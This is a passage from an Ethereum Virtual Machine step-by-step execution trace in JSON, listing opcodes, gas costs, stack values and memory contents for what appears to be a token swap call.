100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x30d7","0x384","0x0","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13481,"op":"POP","gas":77397,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x30d7","0x384","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13482,"op":"POP","gas":77395,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x30d7","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13483,"op":"JUMP","gas":77393,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x30d7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12503,"op":"JUMPDEST","gas":77385,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12504,"op":"PUSH1","gas":77384,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12506,"op":"MLOAD","gas":77381,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12507,"op":"PUSH4","gas":77378,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12512,"op":"PUSH1","gas":77375,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x36cd3205"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12514,"op":"SHL","gas":77372,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x36cd3205","0xe1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12515,"op":"DUP2","gas":77369,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x6d9a640a00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12516,"op":"MSTORE","gas":77366,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x6d9a640a00000000000000000000000000000000000000000000000000000000","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12517,"op":"PUSH1","gas":77363,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e